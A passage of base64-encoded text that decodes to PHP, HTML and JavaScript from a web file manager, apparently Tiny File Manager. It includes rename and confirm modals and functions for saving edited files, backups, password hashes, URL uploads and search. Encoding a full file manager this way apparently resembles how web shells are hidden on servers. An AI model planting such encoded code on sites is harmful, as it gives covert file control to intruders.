C9mb3JtPg0KICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLVJlbmFtZSBNb2RhbCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGlkPSJyZW5hbWVEYWlsb2ciPg0KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+DQogICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3cgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkgcC00IHRleHQtY2VudGVyIj4NCiAgICAgICAgICAgIDxoNSBjbGFzcz0ibWItMyI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjwvaDU+DQogICAgICAgICAgICA8cCBjbGFzcz0ibWItMSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJlbmFtZV90byIgaWQ9ImpzLXJlbmFtZS10byIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdFbnRlciBuZXcgZmlsZSBuYW1lJykgPz4iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZW5hbWVfZnJvbSIgaWQ9ImpzLXJlbmFtZS1mcm9tIj4NCiAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wIj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48L3N0cm9uZz48L2J1dHRvbj4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIENvbmZpcm0gTW9kYWwgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJqcy10cGwtY29uZmlybSI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIG1vZGFsLWFsZXJ0IGNvbmZpcm1EYWlsb2ciIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0iY29uZmlybURhaWxvZy08JXRoaXMuaWQlPiI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+DQogICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCByb3VuZGVkLTMgc2hhZG93IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBtZXRob2Q9InBvc3QiIGF1dG9jb21wbGV0ZT0ib2ZmIiBhY3Rpb249IjwldGhpcy5hY3Rpb24lPiI+DQogICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkgcC00IHRleHQtY2VudGVyIj4NCiAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1iLTIiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88L2g1Pg0KICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtYi0xIj48JXRoaXMuY29udGVudCU+PC9wPg0KICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCBib3JkZXItZW5kIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIj48P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+DQogICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L3NjcmlwdD4NCg0KICAgIDw/cGhwDQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpbg0KICAgICAqLw0KICAgIGZ1bmN0aW9uIGZtX3Nob3dfZm9vdGVyKCkNCiAgICB7DQogICAgPz4NCjwvZGl2Pg0KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWpxdWVyeScpOyA/Pg0KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/Pg0KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyk7ID8+DQo8P3BocCBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTICYmIGlzc2V0KCRfR0VUWyd2aWV3J10pKTogPz4NCiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz4NCiAgICA8c2NyaXB0PmhsanMuaGlnaGxpZ2h0QWxsKCk7IHZhciBpc0hpZ2hsaWdodGluZ0VuYWJsZWQgPSB0cnVlOzwvc2NyaXB0Pg0KPD9waHAgZW5kaWY7ID8+DQo8c2NyaXB0Pg0KICAgIGZ1bmN0aW9uIHRlbXBsYXRlKGh0bWwsb3B0aW9ucyl7DQogICAgICAgIHZhciByZT0vPFwlKFteXCU+XSspP1wlPi9nLHJlRXhwPS8oXiggKT8oaWZ8Zm9yfGVsc2V8c3dpdGNofGNhc2V8YnJlYWt8e3x9KSkoLiopPy9nLGNvZGU9J3ZhciByPVtdO1xuJyxjdXJzb3I9MCxtYXRjaDt2YXIgYWRkPWZ1bmN0aW9uKGxpbmUsanMpe2pzPyhjb2RlKz1saW5lLm1hdGNoKHJlRXhwKT9saW5lKydcbic6J3IucHVzaCgnK2xpbmUrJyk7XG4nKTooY29kZSs9bGluZSE9Jyc/J3IucHVzaCgiJytsaW5lLnJlcGxhY2UoLyIvZywnXFwiJykrJyIpO1xuJzonJyk7cmV0dXJuIGFkZH0NCiAgICAgICAgd2hpbGUobWF0Y2g9cmUuZXhlYyhodG1sKSl7YWRkKGh0bWwuc2xpY2UoY3Vyc29yLG1hdGNoLmluZGV4KSkobWF0Y2hbMV0sITApO2N1cnNvcj1tYXRjaC5pbmRleCttYXRjaFswXS5sZW5ndGh9DQogICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsaHRtbC5sZW5ndGgtY3Vyc29yKSk7Y29kZSs9J3JldHVybiByLmpvaW4oIiIpOyc7cmV0dXJuIG5ldyBGdW5jdGlvbihjb2RlLnJlcGxhY2UoL1tcclx0XG5dL2csJycpKS5hcHBseShvcHRpb25zKQ0KICAgIH0NCiAgICBmdW5jdGlvbiByZW5hbWUoZSwgdCkgeyBpZih0KSB7ICQoIiNqcy1yZW5hbWUtZnJvbSIpLnZhbCh0KTskKCIjanMtcmVuYW1lLXRvIikudmFsKHQpOyAkKCIjcmVuYW1lRGFpbG9nIikubW9kYWwoJ3Nob3cnKTsgfSB9DQogICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkgeyBmb3IgKHZhciBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgZVtuXS5jaGVja2VkID0gImJvb2xlYW4iID09IHR5cGVvZiB0ID8gdCA6ICFlW25dLmNoZWNrZWQgfQ0KICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkgeyBmb3IgKHZhciBlID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoImZpbGVbXSIpLCB0ID0gW10sIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSAoZVtuXS50eXBlID0gImNoZWNrYm94IikgJiYgdC5wdXNoKGVbbl0pOyByZXR1cm4gdCB9DQogICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApIH0NCiAgICBmdW5jdGlvbiB1bnNlbGVjdF9hbGwoKSB7IGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKSB9DQogICAgZnVuY3Rpb24gaW52ZXJ0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSkgfQ0KICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHsgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOyBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpIH0NCiAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkgeyAvLyBDcmVhdGUgZmlsZSBiYWNrdXAgd2l0aCAuYmNrDQogICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LA0KICAgICAgICAgICAgYSA9ICJwYXRoPSIgKyBlICsgIiZmaWxlPSIgKyB0ICsgIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZ0eXBlPWJhY2t1cCZhamF4PXRydWUiOw0KICAgICAgICByZXR1cm4gbi5vcGVuKCJQT1NUIiwgIiIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksIG4ub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KQ0KICAgICAgICB9LCBuLnNlbmQoYSksICExDQogICAgfQ0KICAgIC8vIFRvYXN0IG1lc3NhZ2UNCiAgICBmdW5jdGlvbiB0b2FzdCh0eHQpIHsgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic25hY2tiYXIiKTt4LmlubmVySFRNTD10eHQ7eC5jbGFzc05hbWUgPSAic2hvdyI7c2V0VGltZW91dChmdW5jdGlvbigpeyB4LmNsYXNzTmFtZSA9IHguY2xhc3NOYW1lLnJlcGxhY2UoInNob3ciLCAiIik7IH0sIDMwMDApOyB9DQogICAgLy8gU2F2ZSBmaWxlDQogICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHsNCiAgICAgICAgdmFyIG4gPSAiYWNlIiA9PSB0ID8gZWRpdG9yLmdldFNlc3Npb24oKS5nZXRWYWx1ZSgpIDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm5vcm1hbC1lZGl0b3IiKS52YWx1ZTsNCiAgICAgICAgaWYgKHR5cGVvZiBuICE9PSAndW5kZWZpbmVkJyAmJiBuICE9PSBudWxsKSB7DQogICAgICAgICAgICBpZiAodHJ1ZSkgew0KICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge2FqYXg6IHRydWUsIGNvbnRlbnQ6IG4sIHR5cGU6ICdzYXZlJywgdG9rZW46IHdpbmRvdy5jc3JmfTsNCg0KICAgICAgICAgICAgICAgICQuYWpheCh7DQogICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwNCiAgICAgICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sDQogICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLA0KICAgICAgICAgICAgICAgICAgICBjb250ZW50VHlwZTogImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiLA0KICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihtZXMpe3RvYXN0KCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsgd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7cmV0dXJufX0sDQogICAgICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykge3RvYXN0KCJFcnJvcjogdHJ5IGFnYWluIik7fSwNCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge3RvYXN0KGA8cCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZWQiPiR7bWVzLnJlc3BvbnNlVGV4dH08L3A+YCk7fQ0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTsNCiAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgibWV0aG9kIiwgIlBPU1QiKSwgYS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsICIiKTsNCiAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRleHRhcmVhIik7DQogICAgICAgICAgICAgICAgby5zZXRBdHRyaWJ1dGUoInR5cGUiLCAidGV4dGFyZWEiKSwgby5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAic2F2ZWRhdGEiKTsNCiAgICAgICAgICAgICAgICBsZXQgY3ggPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpOyBjeC5zZXRBdHRyaWJ1dGUoInR5cGUiLCAiaGlkZGVuIik7Y3guc2V0QXR0cmlidXRlKCJuYW1lIiwgInRva2VuIik7Y3guc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIHdpbmRvdy5jc3JmKTsNCiAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pOw0KICAgICAgICAgICAgICAgIG8uYXBwZW5kQ2hpbGQoYyksIGEuYXBwZW5kQ2hpbGQobyksIGEuYXBwZW5kQ2hpbGQoY3gpLCBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpLCBhLnN1Ym1pdCgpDQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkgeyAkKCIuanMtbmV3LXB3ZCIpLnRvZ2dsZUNsYXNzKCdoaWRkZW4nKTsgfQ0KICAgIC8vIFNhdmUgU2V0dGluZ3MNCiAgICBmdW5jdGlvbiBzYXZlX3NldHRpbmdzKCR0aGlzKSB7DQogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyk7DQogICAgICAgICQuYWpheCh7DQogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwNCiAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uIChkYXRhKSB7aWYoZGF0YSkgeyB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7fX0NCiAgICAgICAgfSk7IHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgLy9DcmVhdGUgbmV3IHBhc3N3b3JkIGhhc2gNCiAgICBmdW5jdGlvbiBuZXdfcGFzc3dvcmRfaGFzaCgkdGhpcykgew0KICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLCAkcHdkID0gJCgiI2pzLXB3ZC1yZXN1bHQiKTsgJHB3ZC52YWwoJycpOw0KICAgICAgICAkLmFqYXgoew0KICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLCBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpKyImdG9rZW49Iisgd2luZG93LmNzcmYgKyImYWpheD0iK3RydWUsDQogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgeyBpZihkYXRhKSB7ICRwd2QudmFsKGRhdGEpOyB9IH0NCiAgICAgICAgfSk7IHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgLy8gVXBsb2FkIGZpbGVzIHVzaW5nIFVSTCBAcGFyYW0ge09iamVjdH0NCiAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHsNCiAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSwgcmVzdWx0V3JhcHBlciA9ICQoImRpdiNqcy11cmwtdXBsb2FkX19saXN0Iik7DQogICAgICAgICQuYWpheCh7DQogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwNCiAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKCkgeyBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLmF0dHIoImRpc2FibGVkIiwiZGlzYWJsZWQiKTsgZm9ybS5maW5kKCJidXR0b24iKS5oaWRlKCk7IGZvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLmFkZENsYXNzKCdzaG93LW1lJyk7IH0sDQogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgew0KICAgICAgICAgICAgICAgIGlmKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEuZG9uZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3Mgcm93Ij5VcGxvYWRlZCBTdWNjZXNzZnVsOiAnK2RhdGEuZG9uZS5uYW1lKyc8L2Rpdj4nKTsgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS52YWwoJycpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZGF0YVsnZmFpbCddKSB7IHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIgcm93Ij5FcnJvcjogJytkYXRhLmZhaWwubWVzc2FnZSsnPC9kaXY+Jyk7IH0NCiAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5yZW1vdmVBdHRyKCJkaXNhYmxlZCIpO2Zvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpO2Zvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsNCiAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnJlbW92ZUF0dHIoImRpc2FibGVkIik7Zm9ybS5maW5kKCJidXR0b24iKS5zaG93KCk7Zm9ybS5maW5kKCIubGRzLWZhY2Vib29rIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtjb25zb2xlLmVycm9yKHhocik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIC8vIFNlYXJjaCB0ZW1wbGF0ZQ0KICAgIGZ1bmN0aW9uIHNlYXJjaF90ZW1wbGF0ZShkYXRhKSB7DQogICAgICAgIHZhciByZXNwb25zZSA9ICIiOw0KICAgICAgICAkLmVhY2goZGF0YSwgZnVuY3Rpb24gKGtleSwgdmFsKSB7DQogICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsNCiAgICAgICAgfSk7DQogICAgICAgIHJldHVybiByZXNwb25zZTsNCiAgICB9DQogICAgLy8gQWR2YW5jZSBzZWFyY2gNCiAgICBmdW5jdGlvbiBmbV9zZWFyY2goKSB7DQogICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKCJpbnB1dCNhZHZhbmNlZC1zZWFyY2giKS52YWwoKSwgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksIHBhdGggPSAkKCIjanMtc2VhcmNoLW1vZGFsIikuYXR0cigiaHJlZiIpLCBfaHRtbCA9ICIiLCAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOw0KICAgICAgICBpZighIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7DQogICAgICAgICAgICB2YXIgZGF0YSA9IHthamF4OiB0cnVlLCBjb250ZW50OiBzZWFyY2hUeHQsIHBhdGg6cGF0aCwgdHlwZTogJ3NlYXJjaCcsIHRva2VuOiB3aW5kb3cuY3NyZiB9Ow0KICAgICAgICAgICAgJC5hamF4KHsNCiAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsDQogICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sDQogICAgICAgICAgICAgICAgZGF0YTogZGF0YSwNCiAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCcnKTsNCiAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5hZGRDbGFzcygnc2hvdy1tZScpOw0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSl7DQogICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsNCiAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEgJiYgZGF0YS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKF9odG1sKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz0ibS0yIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7IH0NCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC9wPicpOyB9LA0KICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykgeyAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+RVJST1I6IFRyeSBhZ2FpbiBsYXRlciE8L3A+Jyk7fQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0gZWxzZSB7IHNlYXJjaFdyYXBwZXIuaHRtbCgiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhIik7IH0NCiAgICB9DQoNCiAgICAvLyBhY3Rpb24gY29uZmlybSBkYWlsb2cgbW9kYWwNCiAgICBmdW5jdGlvbiBjb25maXJtRGFpbG9nKGUsIGlkID0gMCwgdGl0bGUgPSAiQWN0aW9uIiwgY29udGVudCA9ICIiLCBhY3Rpb24gPSBudWxsKSB7DQogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgY29uc3QgdHBsT2JqID0ge2lkLCB0aXRsZSwgY29udGVudDogZGVjb2RlVVJJQ29tcG9uZW50KGNvbnRlbnQucmVwbGFjZSgvXCsvZywgJyAnKSksIGFjdGlvbn07DQogICAgICAgIGxldCB0cGwgPSAkKCIjanMtdHBsLWNvbmZpcm0iKS5odG1sKCk7DQogICAgICAgICQoIi5tb2RhbC5jb25maXJtRGFpbG9nIikucmVtb3ZlKCk7DQogICAgICAgICQoJyN3cmFwcGVyJykuYXBwZW5kKHRlbXBsYXRlKHRwbCx0cGxPYmopKTsNCiAgICAgICAgY29uc3QgJGNvbmZpcm1EYWlsb2cgPSAkKCIjY29uZmlybURhaWxvZy0iK3RwbE9iai5pZCk7DQogICAgICAgICRjb25maXJtRGFpbG9nLm1vZGFsKCdzaG93Jyk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgDQoNCiAgICAvLyBvbiBtb3VzZSBob3ZlciBpbWFnZSBwcmV2aWV3DQogICAgIWZ1bmN0aW9uKHMpe3MucHJldmlld0ltYWdlPWZ1bmN0aW9uKGUpe3ZhciBvPXMoZG9jdW1lbnQpLHQ9Ii5wcmV2aWV3SW1hZ2UiLGE9cy5leHRlbmQoe3hPZmZzZXQ6MjAseU9mZnNldDotMjAsZmFkZUluOiJmYXN0Iixjc3M6e3BhZGRpbmc6IjVweCIsYm9yZGVyOiIxcHggc29saWQgI2NjY2NjYyIsImJhY2tncm91bmQtY29sb3IiOiIjZmZmIn0sZXZlbnRTZWxlY3RvcjoiW2RhdGEtcHJldmlldy1pbWFnZV0iLGRhdGFLZXk6InByZXZpZXdJbWFnZSIsb3ZlcmxheUlkOiJwcmV2aWV3LWltYWdlLXBsdWdpbi1vdmVybGF5In0sZSk7cmV0dXJuIG8ub2ZmKHQpLG8ub24oIm1vdXNlb3ZlciIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oZSl7cygicCMiK2Eub3ZlcmxheUlkKS5yZW1vdmUoKTt2YXIgbz1zKCI8cD4iKS5hdHRyKCJpZCIsYS5vdmVybGF5SWQpLmNzcygicG9zaXRpb24iLCJhYnNvbHV0ZSIpLmNzcygiZGlzcGxheSIsIm5vbmUiKS5hcHBlbmQocygnPGltZyBjbGFzcz0iYy1wcmV2aWV3LWltZyI+JykuYXR0cigic3JjIixzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO2EuY3NzJiZvLmNzcyhhLmNzcykscygiYm9keSIpLmFwcGVuZChvKSxvLmNzcygidG9wIixlLnBhZ2VZK2EueU9mZnNldCsicHgiKS5jc3MoImxlZnQiLGUucGFnZVgrYS54T2Zmc2V0KyJweCIpLmZhZGVJbihhLmZhZGVJbil9KSxvLm9uKCJtb3VzZW91dCIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oKXtzKCIjIithLm92ZXJsYXlJZCkucmVtb3ZlKCl9KSxvLm9uKCJtb3VzZW1vdmUiK3QsYS5ld